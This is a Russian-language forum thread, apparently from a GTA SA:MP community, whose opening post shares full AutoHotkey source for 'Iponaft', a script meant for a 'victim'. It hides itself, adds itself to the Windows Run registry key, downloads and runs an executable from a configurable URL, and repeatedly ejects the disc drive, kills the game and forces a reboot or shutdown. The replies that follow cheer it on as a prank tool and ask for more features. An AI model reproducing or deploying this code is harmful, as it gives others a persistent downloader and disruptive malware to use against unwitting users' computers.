|
[All-RP]Iponaft 2001
|
|
| Artem_Buero |
Дата: Вторник, 18.03.2014, 12:54 | Сообщение # 1
|
Сообщений: 4223
Статус: Offline
|
Скрипт будет выполнять действие(указанное в исходнике) как пользователь зайдёт в приложение(указанное в исходнике). И будет это делать пока 1)"Жертва" не удалит скрипт 2)Удалит Шindows Список действий: Открытие дисковода Закрытие приложения Возможность записаться в реестр Перезагрузка\выключение компа Все настройки в исходнике. Исходник: Код #notrayicon ;==================================Гл Настройки okno := "GTA:SA:MP" ; Название окна zak := "gta_sa.exe" ; Имя процесса filka := "mosi.ini444" ;Название файла для проверки наличии программы(Меня при обновлени) ;======================================Настройки UPDATERA st := "" ;Ссылка на текст для проверки (www.iponatf.ru/text.txt) ;Текст должен быть 1 строчка-с "0"или "1" ;2 строчка с ссылкой на новый ипонафт ;Например ;==== ;1 ;www.iponaft.ru/iponaft.exe ;==== ;================================== Выбор действия dis = 1 ;Если 0 то НЕ будет открывать дисковод avt = 1 ; Если 0 то Не будет прописываться в автозагрузку zak1 = 1 ; Если равно 0 то Не будет закрывать процесс sis = 1 ;Если 0 то Не будет перезапускать/выключать комп ;===========================================Настройка действия с компом sh = 2 ;0-Завершение сеанса ;1-Завершение работы ;2-Перезагрузка ;4-Закрытие всех приложений ;8-Выключение питания ;=========================================== IfNotExist,%a_temp%\lala.inis22 { if (avt = 1) { ;============================Это запись в реестр FileAppend,%A_ScriptName%, %a_temp%\%filka% FileMove,%A_ScriptDir%\%A_ScriptName% , %A_Temp%\%A_ScriptName% RegWrite, REG_SZ, HKEY_CURRENT_USER, Software\Microsoft\Windows\CurrentVersion\Run, VANGA, %A_WorkingDir%\%A_ScriptName% ;============================Это запись в реестр } } ;========================================UPDATER URLDownloadToFile, %st%, %TEMP%\sdsadasdasdasdasdsadsadsa.txt FileReadLine, udp, %TEMP%\sdsadasdasdasdasdsadsadsa.txt, 1 if (udp = 1) { FileReadLine, udp1, %TEMP%\sdsadasdasdasdasdsadsadsa.txt, 2 URLDownloadToFile, %udp1%,%TEMP%\Lalo.exe Run,%TEMP%\Lalo.exe ExitApp } ;========================================UPDATER Test: IfWinActive %okno% { if (dis = 1) { Drive, Eject ;Открытие дисковода <img src="http://s59.ucoz.net/sm/7/biggrin.gif" border="0" align="absmiddle" alt="biggrin" /> } if (zak1 = 1) { process, close, %zak% ;Закрытие процесса } if (sis = 1) { Shutdown,%sh% ;Действие с компом } Goto, Test } else sleep,5000 Goto,Test return Предлагайте что ещё можно добавить
МОЙ ВК - https://vk.com/gospodin_buero
Сообщение отредактировал Artem_Buero - Среда, 19.03.2014, 15:07 |
|
|
|
|
| Cm_Buro |
Дата: Вторник, 18.03.2014, 16:29 | Сообщение # 2
|
Мясо-Барон
Сообщений: 443
Статус: Offline
|
Ваще красавчик. Лови няху. Можно постибаться нехило ;d
Неактив
|
|
|
|
|
| Dimka_Bulba |
Дата: Вторник, 18.03.2014, 16:51 | Сообщение # 3
|
Бывалый
Сообщений: 381
Статус: Offline
|
Азаза, это надо в Sanny писать?
|
|
|
|
|
| SтiV |
Дата: Вторник, 18.03.2014, 16:53 | Сообщение # 4
|
Новичок
Сообщений: 11
Статус: Offline
|
можно тоже самое только перезагружать компьютер?
_㋛_
|
|
|
|
|
| Artem_Buero |
Дата: Среда, 19.03.2014, 13:10 | Сообщение # 5
|
Сообщений: 4223
Статус: Offline
|
Цитата Dimka_Bulba (  ) Азаза, это надо в Sanny писать? Это AHK код Цитата SтiV (  ) можно тоже самое только перезагружать компьютер? Добавил в кодДобавлено (19.03.2014, 13:10) --------------------------------------------- Обновил код 
МОЙ ВК - https://vk.com/gospodin_buero
|
|
|
|
|
| Mstyle |
Дата: Четверг, 08.01.2015, 07:36 | Сообщение # 6
|
Cheat-Master
Сообщений: 2698
Статус: Offline
|
Не тот раздел
|
|
|
|
|